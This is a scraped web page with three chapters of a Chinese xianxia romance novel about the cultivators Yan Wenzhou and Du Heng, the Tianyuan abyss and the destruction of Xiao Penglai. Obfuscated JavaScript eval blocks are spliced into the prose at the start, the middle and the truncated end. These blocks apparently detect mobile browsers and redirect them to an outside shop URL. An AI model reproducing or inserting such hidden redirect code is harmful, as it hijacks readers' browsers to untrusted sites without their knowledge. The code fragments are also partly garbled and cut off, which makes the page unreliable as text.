;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178203|194632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边上的天魔一茬一茬地长出来,还没等落地成型就被森寒刀光劈没了,严文洲也不急,一边等着回答,一边把白鱼刀当镰刀使,一刀一个地收割着天魔,居然也颇有乐趣。 也不知白鱼刀下多了多少天魔,耳边忽然响起一道略有些古怪的声音,“记得你先前问我,是否曾见过你,当时我觉得好笑,如今看来是我错了,你确是有几分熟悉。” 咻——严文洲一下失了准头,多劈了一次才解决掉脚边的天魔。 先前不过是自己弄出来的乌龙,可现在杜衡是真认出他来了,又或者,是错认了?不对,经历垂云汀一遭,这人分明已经推测出了自己的身份! 看着面前天魔惊愕的眼神,杜衡更觉得不对劲,眼前的太玄峰一下变换成一片烟水之地,渺渺薄雾正于湖面上缓缓交织升腾,而严文洲…… 银月般的刀光横贯长空,无声坠落入湖中,下一刻,水声轰然炸开,两道无边水墙高高竖起,河底也显出一道深得可怖的刀痕。 “既是如此,那你我便止于此,我回我的东洲,你做你的太清宗弟子,两不相干,再无瓜葛。”一道极冰冷的声音响起,于尚未平息的水声中依然分明,仿佛寒石落海,激出一片冰凌。 杜衡心中剧痛,眼前一花,不管是太玄峰还是淼淼烟波都化作飞灰,周围一片光怪陆离,唯有严文洲还好端端地站在眼前。 万籁俱寂,又像是有无数道声音正在不断说着话,杜衡深深吸了口气,仿佛深入骨髓的疼痛完全没有平息,耳边余音一遍遍回旋着。 两不相干,再无瓜葛…… 太清宗弟子…… 他忽然意识到东洲四百年前到底发生了什么。 “师尊你是怎么了,脸色这么难看?” 此时此刻,严文洲愈发觉得天渊中诞生的天魔十分精妙,与外面那些只知道钱财美色诱惑的货色全然不同。他还没动手呢,怎么这位就变得这么虚弱,难不成是看出他快要动手了,打算先迷惑一下抢个先手? 白鱼刀难以察觉地调整了一下方向,严文洲笑眯眯地又补了一句:“师尊莫不是终于想起在哪儿见过我了?看样子,定然不是飞仙城吧?” 声音穿透层层迷雾落入杜衡耳中,他骤然回神,心中不甘如燎原野火般疯狂蔓延,那人痴恋多年,如今既然已经放手,怎么就不能轮到自己呢? 本就是出自同源,心思自然也是一样的。那人敢想不敢做,自己一个用以渡劫的分身替他做了,他又能如何?!杜衡已经许久没有如此激烈的情绪,一时之间竟几乎战栗起来,看向严文洲的眼神多了几分晦涩,嘴角却如惯常那般泄出了一抹笑,“确实不是飞仙城。” 严文洲剑眉微微扬,心中古怪更胜一筹的同时不免有些遗憾——这天魔着实有些好骗,眼下可要没得玩了。 不等他反应,杜衡便继续笑道:“不过,文洲怎么不叫我阿蘅了?是这个称呼不好么?” 不好,更不妥! 严文洲心中大惊,白鱼刀径直劈向眼前天魔,打算结束这一场闹剧。 电光火石之间,他这一刀落了空,杜衡身形一晃,汹涌刀光映得他面目如雪,绸缎似的银发荡出一道圆满弧度,半分未损。下一瞬,他不知从哪里摸出一柄长剑来,竟执剑跟他比试起来。 叮叮当当之声不绝于耳,天魔们嘈杂难言的声音一下沦为了几乎静默的背景音。 那招式古怪,似乎早有预料他会出这一招,早就有所准备一般,而且他手中这剑招……严文洲怎么看都像是太清宗入门的那六十四式剑法! 当时钟慎演练时,他只觉得这剑法虽颇为精妙,但放在那傻小子手里实在有些倒霉了,而眼前,这位天魔兄也不知从那位太清先辈里学来了这法门,一招一式尽得精髓,堪称完美! “文洲心思好像不在这里,难不成是在想旁的人么?”杜衡幽幽开口,神色似是有些委屈。 严文洲简直要对天渊天魔佩服得五体投地了,然而此刻虽然远在意料之外,但也着实有意思,与一个聪明天魔见招拆招可要比砍杀一堆没脑子天魔有意思得多! 说不准,还能从这位天魔兄中套出天渊出口在哪儿。 他随口道:“师尊怎会太清宗剑法?难不成太易宗当真与太清宗有些渊源?” “叫我阿蘅,我便告诉你。” “……阿蘅。” 杜衡十分满意,手中剑招也像是被传染了一股柔情蜜意一般,变得缠绵起来,“上古时,太清、太易、灵宝三宗得仙人授法,渐成仙道魁首,时移世异,又加上传承难易不一,太易和灵宝两宗始终不如太清宗香火鼎盛,天柱崩塌后更是如此,灵宝传承裂为数份,散落四洲,而太易宗传承虽得保全,但也逐渐衰落,终至今日局面。” 听着十分玄乎,也不知是天魔随口瞎编的还是确有其事。严文洲转念一想,天渊中的天魔大多是陨落在此的古修士和域外天魔混合而成的,这种万年老黄历说不准还真是真的。 “至于我这剑法,不过是机缘巧合而已。” 严文洲啧了一声,“不知阿蘅是如何到的这天渊?怎得与我这么巧?” “自然是你我有缘。”杜衡理所当然,顺道还给了一个十分温柔的笑。 “我与阿蘅确实有缘,要不然怎么会出现在阿蘅的卦里呢?” 明明是句奉承话,可也不知道哪里不合这天魔兄的心意,严文洲话音刚落便见眼前这位杜衡变了脸色,十分不高兴。 两人又拆了几招,招式即将用尽之时,白鱼刀刀势陡然一变,凌厉刀锋直扑杜衡面门而去,杀气如吹彻万古的寒风激得人完全睁不开眼。 然而在这么避无可避的招式下,杜衡硬是寻到了一点破绽,长剑似慢实快地一挑,脚步一转跟上,顿时,白鱼刀微不可见地停滞了一瞬,随即垂落身侧,而两人之间的距离也已经拉到了最近。 严文洲心中警铃大作,不等他有所动作,杜衡便伸手过来,力道极重地捏住了他的下巴,眼神微微下落。停住了。这距离实在太近,姿势又过于危险,一时间,两人呼吸都好像纠缠在了一起, “文洲……”杜衡只是喃喃念了一声,再无动作,眼神却愈发肆意,一寸寸划过肌肤似乎完全不担心天魔侵袭一般。 就好像,他下一刻就会直接吻上来一样。 奇了怪了,天魔这种东西不是按照事主量身定制的么?冒出一个杜衡也就算了,怎么这个杜衡还能行事如此放荡?震撼之余,严文洲有些莫名心酸,心绪是心绪,动作却毫不含糊,袖中已然滑落出一枚纯白玉符。 才露头,便有一只微凉的手搭了上来,指肚向袖口爬了一点,十分贴心地把这严文洲的手将玉符往袖子里推了推,杜衡微微俯下身,耳语道:“文洲,这种东西对我可是没用的,可别浪费了。” “不试一试怎么知道?” 玉符应声碎裂—— 无事发生。 严文洲瞪眼看着缓缓升腾起的一团白光,多年风波里来去修炼的镇定自若终于跟着玉符一起碎掉了。为了避免以己之道还己之身,这种封存着大能全力一击的符箓都会附加上一道额外禁制,在遇到原主时不会爆发,所以说——眼前是本尊!? 他下意识抬头看去,这人笑得云淡风轻,仙风道骨一如太玄峰初见之时,可…… “都说了此物对我无用,文洲怎么还试?莫不是不信我?”这人的声音不紧不慢,自带着的三分仙气儿并未有半点折损,反而因为他此刻略带委屈的表情而更多添了几分可怜。 严文洲心神不定,只来得及随手把缠到腿上的天魔拍飞,又听他道:“当年垂云汀之时,文洲可不是如此待我的,我有些不高兴了。” 下一刻,杜衡的五官在眼前再度放大,扇子似的睫毛纤毫毕现,可一切都抵不上唇上传来的温软触感。 37.天魔来处(二) 天渊,古修士战场,无数上古大能的埋骨之地,随便露出点什么都够离得最近的黑礁一族成为海国诸多势力中最富庶、最强盛的一支。 当然,这一切的前提是,不能陷入天魔的迷障之中。 没人说得清天渊中的天魔是从何而来,有人说是因为当年战况惨烈,邪气久久不散,引来了域外天魔,也有人说,天渊之所以成为战场正是因为域外天魔的入侵。 但无论如何,天渊已然演变成为一块极为危险的地方。 这本是深藏于海底一道深渊之中的一块密地,少有人知,某年因为灵脉变动,天渊中的邪魔们一涌而出,几个时辰的功夫将周围的仙道势力吞噬了个一干二净,海国同样也损失惨重,仙魔两道和海国耗费甚巨才将天渊重新封印。 自此之后,海上势力覆灭的覆灭,迁移的迁移,仅剩几个挪不了的定下协议共同监管天渊封印,也就是东极道、小蓬莱和海国。 一发现笼罩小楼的气息源自天渊,海东城城主府内的长老们无论仙魔齐齐炸了锅,再联系上还真山庄教习先前所言,嘈杂争论几个呼吸内就升级成了精彩绝伦的大骂战,比凡间大集还要热闹。 “不能动!?那不是眼看着他入魔将我们屠戮殆尽么!?” “正是如此!我辈修行众人难道就这么坐以待毙么!?一样都是死,那不如我们占得先机,也好免去众生之苦!” “放屁!这还不到最后一步呢,你着急什么!?难不成是想拿着岱屿传承投效小蓬莱!?你也不想想祁照水看不看得起你们那几个山头!” “我看不如再给杜宗主点时间,虽说卜算之道的修士确实容易陷入迷障,可杜宗主已至炼虚,想来已然很有经验。” “此言善哉!我等若再遣人去请明朔剑尊,那便更是万无一失了!” “哈,请人再快也需要时间,万一就在这期间出了事呢!?道友出言还需谨慎!” …… 看着平时人模人样的各派长老放下了架子,在那里如同流氓骂街一般争吵着,周静眼神扫了一圈,缓缓落到了明明站在人群中,却颇有些游离感的夜游宫主身上。 夜游宫传承大千年,在魔道并不是什么毫无根底的后起之秀,可不论是夜游宫还是夜游宫主,平时的存在感都极弱,上一回大出风头还是因为这位闻宫主和东极道主里应外合,合伙儿将夜游宫给划到了自己羽翼下。 自从东极道主稳坐魔尊宝座,她便闭关了,若不是这一回天魔事件频发,恐怕也不会轻易出关。 想了想,周静人没动,送了道传音过去:“闻宫主早该预料到这一幕,想来请我们前来也不单单是为了商量出个对策吧?” 夜游宫主微不可见地朝她看了一眼,似乎是笑了一下,“有人想搅浑东洲这一块池子,我便如他所愿。” 周静琢磨着这人的意思,自觉没想明白,又送了道传音:“敢问闻宫主对里面这位有什么打算?” 夜游宫主再没回应,竟双眼微阖如老僧入定一般站在场中默不作声了。 周静不以为意,抬头快速扫了眼小楼外愈发浓重的雾气,心里一沉——这位杜宗主怕是深陷迷障,撑不住了。 倒也不尽然。 虽然已经在天渊中呆了许久,但严文洲觉得杜衡明显好得很,气息悠长,甚至颇有技巧。挣开钳制,他也不装了,冷冷问道:“你这是想干什么?” 杜衡的眼神在透亮的唇上停留了片刻,十分坦然地开口道:“做我想做的。” 话音落下,他自己也顿了顿,似乎有一些先前不过草芥般微小的东西,顺着那些真相流入,而后瞬间在心中生根发芽,长成参天大树。 然而眨眼的瞬间,他就想明白了——事到如今,分辨什么自己所愿和他所愿已是无用,分辨得再清楚,难道他还能让给自己么? 严文洲愈发觉得眼前的杜衡十分陌生,完全不像那个天天在太玄峰上给仙像描金绘彩的太易宗掌门,更不像初见时出尘飘逸如仙人,又温柔纯良如雪兔的落魄山门大修士。 虽然他早知道,一个经历过师门南迁,活了四百多年的修士绝不可能如他面上表现出来的那般无害,但杜衡的外表实在太有欺骗性,微微一笑就能消融大半疑心。再加上后面又有了垂云汀之事…… “我还有许多想做的,”看着严文洲变了数变且仍然难以言说的神情,杜衡悠悠开口,略带欢愉,“不过此处不雅,我等还是回宗门再说。” 严文洲险些一口气没上来,心中升起一个古怪却很合理的念头——该不会是符箓失效了吧?眸光微沉,方才酸麻的胳膊已然恢复,他觉得,还可以再试一试! 假装没发现异常,杜衡回身朝一个方向走了两步,“我方才算了一卦,虽然有天魔干扰,但此处天机还算可看一看,出口应该在这边。” 严文洲一怔,没多犹豫便白鱼刀刀锋微转,跟了过去。毕竟,一直滞留在天渊中也只有一个死字。无论前方是更危险的地方,还是出口,这一遭总算是不亏的。 同一时刻,小楼外虚实难辨的雾气停滞了一瞬,下一刻,一位峨冠博带,手持拂尘的清瘦道人落了下来,小蓬莱长老察觉到熟悉的气息,扭头望去顿时大喜,“宗主!” 占据了足足小半个花园的各派长老们安静了下来,齐刷刷看向祁照水。无他,这位小蓬莱宗主先前还在还真山庄和明朔剑尊论道,怎么现在就自己跑来了? 祁照水朝众人微一点头,便踱步到小楼前,细细端详起天魔幻影来,许久,一声长叹幽幽响起:“我与杜宗主有过几面之缘,没想到他如今落到如此地步,真是世事弄人。”顿了顿,他手中出现一片缓缓旋转着的星云,“我小蓬莱有一门星落云起阵,可克制邪魔,我看用在此处说不定正好。” 甫一出现,便有一股玄妙难言的气息散发出来,小楼外的天魔幻影像是受到了刺激,翻涌速度陡然加快,甚至有再度扩散的趋势。 星落云起阵是小蓬莱不外传的秘法之一,素有盛名,放在此处确实不为过。 夜游宫主睁开眼细细看过去,只是这东西极少出现在人前,她一时之间也看不出有什么端倪。若在其中做些手脚,想来也很容易。 小蓬莱素来是东洲仙道的领头羊,此言一出,顿时有人高声附和: “祁掌教此言有理” “附议!” “我附议!” …… 魔修长老看了看清河使,什么也没看出来,便也老神在在地不说话,反正给宗门的消息已经传了回去,眼下只是看戏了,不过是危险一点而已。 争论的这些功夫,各派长老们其实早已往宗门发了好几封传讯飞鹤了,速度快的甚至已经拿到了回信。祁照水一出现,传讯飞鹤又扑棱棱飞起一片,夜游宫主心知肚明,并未有半分阻止。 她对这位太易宗主颇有几分欣赏,然而再欣赏也不能消解掉他入魔的可能性。附近宗门提前做好准备自是最好,若真有个万一,也不至于背负过多因果。 说话间,还真山庄教习站了出来,颇有些疑虑地看着祁照水手中的阵法,“祁掌教,敢问这星落云起阵落成之时可有异动?若惊到了杜宗主,只怕事情要难办了。再者,听闻星落云起阵须有一件半仙器压阵才能完全发挥效用,祁掌教这是……” 话没有说完,但意思已然十分明确。四洲半仙器何其稀少,五个手指都数得过来,小蓬莱七曜羽便是其一,可那是镇山重器,总不至于真被祁照水带在身上吧! 然而还真是——七色彩光缓缓自祁照水背后升起,天地也失色,映衬得这位小蓬莱宗主如仙人下凡一般,浩荡威势随即荡开。 一时间,再无人怀疑,这便是传闻中以渡劫期的孔雀大妖尾羽炼制成的半仙器! 夜游宫主颇有些不适地皱了皱眉,看向祁照水的神情十分不善。哪有一宗之主将宗门秘宝随身携带的道理,这人分明是有备而来! 看样子,海东城得好好清理一番了。 她扫了眼还真山庄教习,见他神色尴尬地退了几步,又看了眼魔修们,除了清河使,其余的全都远远推开,避之不及。 也是,毕竟是半仙器,天然克制他们这些邪魔外道。 “闻宫主莫担心,星落云起阵只对邪魔生效,若杜宗主并未入魔,自可安然而出,此乃万全之策。” 祁照水声音愈发温和,而夜游宫主愈发看他不顺眼,冷冷道:“祁掌教,你先前逼死太易宗道虚真人的事情,我等可还都记着呢。如今杜宗主于我夜游宫有恩,你若在这阵法中做什么手脚,夜游宫将来见一个小蓬莱弟子便杀一个!” 祁照水神情一僵,不等他回应,又有一道朗朗声音响了起来:“我何某人亦然!” “听闻杜宗主与黑礁少宗主往来甚密,岱屿传承再好,祁掌教可也要掂量一下自家弟子的小命啊。”这一回是清河使。 祁照水神情微不可察地扭曲了一瞬,终是笑道:“没想到杜宗主居然和诸位关系这么好,我竟不知太易宗何时并入魔道了。” 这话说得微妙,不少魔修虽然先前未听过太易宗这个名字,但祁照水的意思听得十分明白,此刻个个怒目而视。 然而祁照水早对这样的目光习惯了,仙道同盟之间的名声还需在乎几分,魔修中的名声算什么?见无人出声,他便道:“既然诸位没意见,那我便布阵了。” 霎时,星落云起阵翩然从掌中升起,几个呼吸就将整座小楼笼罩其中,天魔幻影察觉到了威胁,骤然闪现出种种狰狞景象,与此同时,影影绰绰的曼妙乐声也响了起来,夹杂着串嘈杂难辨的人语声,搅得人半分不得安宁。 天渊气息愈发浓重,几乎到了难以忍受的地步,不少修为稍浅的都悄然后退了几步,默念起了清净咒。 “怎么这么重?该不会这楼中有一道天渊裂口吧?” “胡说!要真有,你我现在还有命在!?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192536|194632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “如此看来,还是祁掌教比较有远见的,这么下去,别说你我了,海东城定然是保不住了,那些魔修也真是!” …… 魔道长老们的脸色难看到了极点。 嗡一声,星落云起阵落定,结成一道周天星辰与万里云海相互呼应的大阵,小楼外的天魔幻影陡然消解了几分,终于露出几分小楼原貌。 祁照水稍稍满意,七曜羽朝小楼方向一转,已然飞到了小楼上空,开始以一种泰山压顶之势往下压去。 不等完全落下,星落云起阵就猛地一震,漫天星光一阵乱闪,云气与星光乱成了一锅粥,祁照水面色微变,七曜羽仍欲继续往下,但已经来不及了。 阵中飘然走出个人来,“祁掌教怎么又想杀我了?” 银发、灰瞳、青年模样,赫然是那位太易宗宗主杜衡! 众人万万没想到阵法落成的最后关头还能出岔子,而且冒出来这人还是在外看起来多半被天魔吃得差不多了的正主! 一时间,所有人的眼神都停在了杜衡身上。 还真山庄教习的眼神格外复杂,虽然压阵之物尚未落成,但星落云起阵也不是那么好突破的,能这么干脆利落地破开,这位杜宗主可不像是传闻中单修卜算之道的修士。 夜游宫主心念急转,朝清河使使了个眼色,也不管那人有没有收到,自己便先往另一边走了几丈,将自己与风暴中心的距离拉到了最大。 杜衡仿佛没看见周围修士退避三舍的场景,一步一步走到祁照水面前一丈,停住了。 祁照水眉头微皱,摸不清这人的打算,更隐隐有种事情脱离了掌控的感觉,然而到底还有多年的伪装在,只是面沉如水地问道:“杜宗主这是何意?不过是未免万一先布下一道阵法而已,祁某万万没有别的意思。” 杜衡嘲讽地笑了一声,半分未解释,朗声道:“还请祁掌教将先前损坏的太易宗三峰九殿十二阁,并若干灵物还与太易宗。” 本就十分安静的花园顿时更加死寂。 当众讨债的不少见,但像眼前这般的却是百年难得一见——一个无名小宗门在东洲诸势力长老面前向东洲仙道魁首讨债!? 纵然这两位宗主修为相当,可背后的宗门势力能一样么!? 这简直是痴人说梦! 诸长老念头纷纭,想的却大多是一件事——眼前这后生要倒霉了! 祁照水本预料着什么冷嘲热讽、阴阳怪气,完全没想到杜衡来了这么一出,一时居然没反应过来,愣了一会儿才道:“当时只是个误会,若杜宗主有意重建宗门,我小蓬莱自当竭尽全力。” 他说得十分诚恳,似乎杜衡一声令下,他就会带着小蓬莱弟子奔赴太易宗旧址挥汗如雨地建设起来。然而在场的都是东洲势力,早对小蓬莱眼高于顶,最擅画饼充饥的德行一清二楚了,当下便有个十分没定力地笑了一声。 戛然而止,却又足够清晰。 小蓬莱长老立刻扭头,恶狠狠地瞪了眼那人,又暗自记下那人形容相貌与门派归属。 杜衡却是露出一个颇有些满意的表情,直言道:“有祁掌教此言在前,我便安心了。若要贵宗出人出力自然不可,那笔帐我先前已经算过了,折合中品灵石三十五万,不知祁掌教身上可够?” 四洲奇事年年有,东洲今年特别多。 此话一出,死寂的花园再次热闹起来,一堆长老满腹狐疑地交头接耳,传音与耳语齐出,个个怀疑自己听错了。宗门被毁,恩师身死,居然被直接折成了灵石?而且这个数目…… 不少心思活泛、消息灵通的人都琢磨起来了。 饶是夜游宫主也不由眉头一挑,露出些惊色——这人初看时出尘飘渺,颇有些世外隐修士的味道,如今看来,居然多了些赖皮。 祁照水的脸色已经变了好几回,只字不言。他自然可以在小蓬莱议事堂里挂几个长期任务,让弟子们前去给太易宗添砖加瓦,可暂且不论宗内异议,单说那些派出去的弟子们,谁知道杜衡会不会对他们做什么呢? 太易宗传承万年,若冒出来一个稀奇古怪的上古秘法,谁能看得出来? 若要…… 他隐晦地看了眼周围,缓缓打消了这个念头,反手摸出一只锦囊送出去。 “当初之事确是误会一场,道虚真人之死实乃我东洲仙道之大不幸,杜宗主既然执意如此,我便也不好多言。这其中是二十万中品灵石并三件地阶法器,想来足够三十五万之数。若杜宗主将来还有用得着我祁某的时候,在下随时奉陪。” 杜衡毫不客气地取了锦囊,神识一扫,半块灵石不差,他笑了一声,凝视着祁照水缓缓道:“我确实还有一事需要麻烦祁掌教。” 祁照水心头一跳,百年不见,这人倒像是骤然变了一个人一样,半点不给推脱的时间,只听这人继续道:“当年我修为浅薄,没能与祁掌教交手,一直十分遗憾,不知祁掌教今日可否与我较量一番?” 38.天魔来处(三) 万里外的海国,严文洲一步踏出禁制,心中一动,直觉有什么事发生了,回身看去,半分没有异样,海波兀自荡漾,谁也看不出底下方才裂开了一道天渊出口。 面前倒是有。 一位上半身赤裸,形容颇为凶悍的海妖猛地从海中窜出来,恭恭敬敬朝他一拜,手中捧着一只玉白贝壳,以一种略带生涩的语调开口道:“严道长,这是我家主人奉上的赔礼,还望您能收下。” 严文洲没动,上下打量了一下这海妖,发现他是在海东城跟着海无涯的随侍之一,便问道:“你家主人呢?” “他、他被天魔祸心,已经被族长抓了回去,现在应该正在闭关。”海妖回答得颇有些哆嗦,大气也不敢喘,似乎生怕严文洲暴揍他一顿一样。 “天魔祸心?哪儿来的天魔?你家主人不是一直住在鳞光阁么?” “这、这个,我也不知道,”他快速抬头看了看严文洲,看起来快哭出来了,“严道长,您能把这个收下么?您要是不收,我家主人不会放过我的!” 严文洲一本正经,“你家主人不放过你与我有什么关系?” 海妖:“……” 他还要再劝说,却觉得手上猛然一轻,抬头看时贝壳早已被取走了,空气中只飘来一句,“替我向你家主人问好,另外告诉他,天渊实在不是个好地方,下次莫要叫我去了。” 几息的功夫,严文洲已然掠出几里地。天渊之行虽然大大出乎意料之外,但却颇得到了些好处,不说捡到的那些古修士遗物,便是一身修为也大有长进,闭关个小半年便可入元婴了。 他先前觉得,那些东极道主驱使天魔作乱的不过都是断章取义的小道消息,进了趟天渊才发现说不定确有缘由——天魔于他,像是种练废了,味道糟糕的复灵丹。 一想起天魔的古怪滋味,严文洲便嫌弃地啧了一声,拷问起了一直在心海中叽叽喳喳问个不停的系统,“统兄,你先前怎么又不灵了?” “天渊!那可是天渊!我、我只是小小一片分魂,能干什么!?” “你不是还能引天雷么?就没有发现海无涯要把我坑进天渊?” “天雷和天渊有什么关系!?” “唔,都存于天地之间,许是有的吧。” 系统气不打一处来,“没有!在你进那鬼地方之前我也不知道你要进的是那里!” 严文洲敏锐抓住了重点,“所以你知道海无涯不安好心?” 系统一下不说话了。 严文洲一笑,没管它,眼前已经出现了一片缭绕着仙气,郁郁葱葱的岛屿。 岛屿有大有小,大者一眼望不见另一边,周围海水呈现出幽暗的深色,小者只由几片大些的礁石组成,清透海水偶尔越过其上,拍出一片洁白浪花。 这便是号称三岛小仙境的小蓬莱了。 已经到如此近了,按理说,该有护山大阵了。严文洲神识探去,空无一物,海面上乃至半空中什么都没有。 既然如此,他便也只好不递拜帖,直接登门了。虽然无礼,但这不是也没办法么,总不能一张拜帖扔进海水里喂鱼虾吧? 感知着严文洲又开始飞速移动,系统没忍住又问道:“宿主,你要去干什么?” “给你个惊喜。” 系统:“……?” 片刻后,惊喜摇身一变,以一种格外惊悚的方式出现在眼前——瀛洲岛葱茏草木陷于一片无名灵火中,而本该积极救火的弟子们却一个个手执法器,正在自相残杀。 遍地焦土,同门相残,实乃人间惨剧!这哪里是号称人间仙界的小蓬莱!便是天渊那鬼地方都比这里要好! “统兄,你可有什么头绪?”严文洲面色不变,闪身躲过一位斗败失了性命,正在极速坠落的弟子,脚步不停地继续往山顶上那座金碧色的大殿掠去。 “天魔劫火,”系统幽幽吐出几个字,迟疑了许久才继续道,“你在天渊里干了什么?” “统兄,你未免太高看我了,我不过是在天渊里逛了一圈而已,怎么不分青红皂白地就把此事赖在我头上?” 听着宿主带着些许笑意的心音,系统有些尴尬,“可、可这也太巧了。” “此乃天道不许。”严文洲意味深长地说完这么一句,瀛洲岛的主殿已经近在眼前。 主殿十二开间,每扇殿门都足有三人高,雕龙画凤自不必多说,更妙的是其上的异兽图腾正在缓缓流动,显然都在其中封入了真正的妖兽精魂,极富仙家气象,比之太易宗破破烂烂的主殿简直是一个天一个地。 然而这价值连城的主殿很快就要灰飞烟灭了。 严文洲冷漠地扫了一眼,白鱼刀悍然斩出一刀。 轰——六扇大门齐齐碎裂,微不可见的灵光极速流淌其上,很快被什么东西映上了一层极淡的红色。 系统这才发现,原来主殿早已被天魔劫火包了个密不透风,什么精妙阵法,什么昂贵精魂,什么瀛洲岛千年积累,早已成了过去式,而尽极精巧之能事的内部,也遍地是半透明的天魔劫火。 “啊啊啊,要命了,宿主你别动啊!你死了我还得再找一……”心音戛然而止,系统几乎怀疑自己跟宿主共享的视觉系统出了大问题——天魔劫火擦身而过,而宿主毫发未伤,仍在前进? 越过碎片,严文洲提刀缓步进入大殿,人人避之不及的天魔劫火于他而言竟像是水波一般无害。 地上横七竖八躺着三五个长老,面若金纸,灵气溃散如云烟,劫火正欢快地在灵台上微微晃动,显然已是濒死,纵然察觉到有外人进来了也完全无力反抗,只能艰难地向上看去。 一道半透明人影正于首座上闭目安坐,从头到脚皆是小蓬莱掌教服色,怀中抱着半幅画卷,只露出一片寒意逼人的剑锋,可脚边却堆着无数散落着的画卷,将地面遮得一片白茫茫。这些画卷或展开几寸,或尽数铺展,背景不尽相同,然而隐约能看出,画的都是同一人。 严文洲一步步走了过去,白鱼刀碰到台阶,发出一声悠长嗡鸣,“祁照水,好久不见。” “果然是你。”祁照水缓缓睁开了眼,陡然显现出重瞳之相,一双眼瞳直盯着严文洲,而另一双眼瞳还停留在怀中的画卷上,似乎少看一刻也会没命,颇为怪异。 不消多看,但凡是个入了门的筑基修士都会知道,这位祁掌教已经走火入魔至无可救药了。 严文洲细细打量了一下,微妙地笑了一声,“三尸术?原来,你这么多年龟缩在瀛洲岛修的就是这些东西。” 祁照水神情同样嘲讽,“三尸术乃是仙人亲传的秘术,我小蓬莱至高秘法,没想到你居然认得。” 严文洲摇头,“至高秘法又如何?你不还是把自己修成了这副人不人鬼不鬼的样子么?天魔劫火一出,你小蓬莱千年传承尽数化为灰烬不过片刻而已。” “混账!” 祁照水骤然被激怒了,常人大小的上尸分身陡然膨胀数十倍,华冠触及主殿天花板,将其上半是装饰半是阵法的雕饰破坏得一干二净。 “一切缘由皆在尔,与我何干!” 夹杂着天魔尖啸的声音层层回荡开,激得躺在地上的几位长老吐血不止,甚至有一个再也坚持不住,就这么身陨了。 与此同时,却还有一道温柔非常的声音响起:“鹤卿,怎么不看我了?是不喜欢我了么?” 祁照水的癫狂之相戛然而止,一边缓缓缩回到正常大小,一边喃喃自语起来:“我自是喜欢你的,若不然,我怎么到如此境地,天魔又怎样呢,总之我小蓬莱是脱不了和天魔的干系了,不对,我、我知道是你的,我不会认错的……” 严文洲也怔了一瞬,眼神落到了祁照水怀中的画卷上,握着白鱼刀的手不自觉发紧——自己向来分得清天魔,可那画卷中…… 然而这只维持了几息的功夫,只听祁照水连叫几声不对,天魔劫火便骤然高涨,下一刻,一声暴呵响起:“我知道,你们都想让我死!”上尸再度膨胀,甚至比先前还要高大,阴冷气息陡然充斥全殿。 严文洲不住冷笑,不再多话,直接道:“若是一开始,我并无此意,可如今,你确实活不了了。”话音刚落,白鱼刀便挽起无边刀光,裹挟着森冷杀气直入上尸灵台。 传闻中,三尸术修到极致时,上、中、下三尸均与本体无异,修为境界亦是如一,然而祁照水不过刚刚修出了一尸,本体也不在此处,毫无助力。 咔——上尸顿时裂出无数细小纹路,呈现出玉碎般的质感,寻到了可乘之机的天魔劫火瞬间一拥而上,开始沿着无数裂缝蔓延。 几息的功夫,主殿首座上便空无一人。卷轴当啷一声滚落下地,自己将自己卷了起来。 无视耳边一连串的嘀嘀声,严文洲忍住直接捡起画卷的冲动,用白鱼刀背挑起了画卷,一点点展开,然而不等他完全打开,便有无名灵火染于其上,眨眼的功夫,画卷便化作了一捧灰烬。 只隐约看到一位半人半魔的女子冲他笑了一下。 严文洲心中陡然一片空白,是那张灭魔图。 原来如此。 难怪会有一卷灭魔图流落在外,难怪祁照水与天魔纠缠如此之深以致无法自拔,难怪这天魔劫火会蔓延得如此顺利!是自己想岔了,那份拍卖的灭魔图并不是小蓬莱抛出来用以谋害其他宗门的诱饵,被吸引着拍下灭魔图的修士才是真正的诱饵! 能拍下一份传承的修士绝非籍籍无名者,自然会发现其中问题,一旦发现画卷出自小蓬莱,而其中却只有天魔,传承了无踪影,目标是哪里不言而喻! 当年能将垂云汀毁于一旦的东西,如今亦能灭了小蓬莱。 秘境之外皆为域外,焉知这一卷紫霄灭魔图又是如何诞生的! 眼看着掌教的上尸灰飞烟灭,地下的长老反倒来了劲儿——天魔劫火由祁照水而起,虽然不烧掉一切能烧的东西就不会熄灭,但毕竟是少了一大源头,说不定自己还有点希望呢? 至于那个有些眼熟的刀客……这功夫,已经有长老给自己灌了一堆价值连城的丹药,强撑着招出一柄飞剑朝严文洲后心袭去了。 白鱼刀顿时回转,严文洲脚尖一点,闪身躲开又借势掠到了长老面前,又劈出一刀毁了这人紫府,只听一声漏气般的声音,一尊裹着半透明火焰的元婴仓惶逃逸出来,只是还没飞出几丈,便被一只修长白皙的手捏住,静悄悄地消散于无形。 一切只发生在眨眼间,刚有了些希望的长老们完全没反应过来,只能瞪眼看着方才还有些气的同门一下就变成了一具温热着的尸体。惊骇没来得及升起,耳边又听到一个声音:“倒是忘了还有你们了。” 一抹极为古怪的笑出现在那人脸上,精致眉眼中满是令人心惊胆战的森冷,看向他们的眼神如同看死人一般。 此时此刻,终于有人认出了这位不请自来的陌生刀客,一手指着惊骇地大叫起来,“你、你是……”不等说完,这人便面色一变,头颈一歪, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 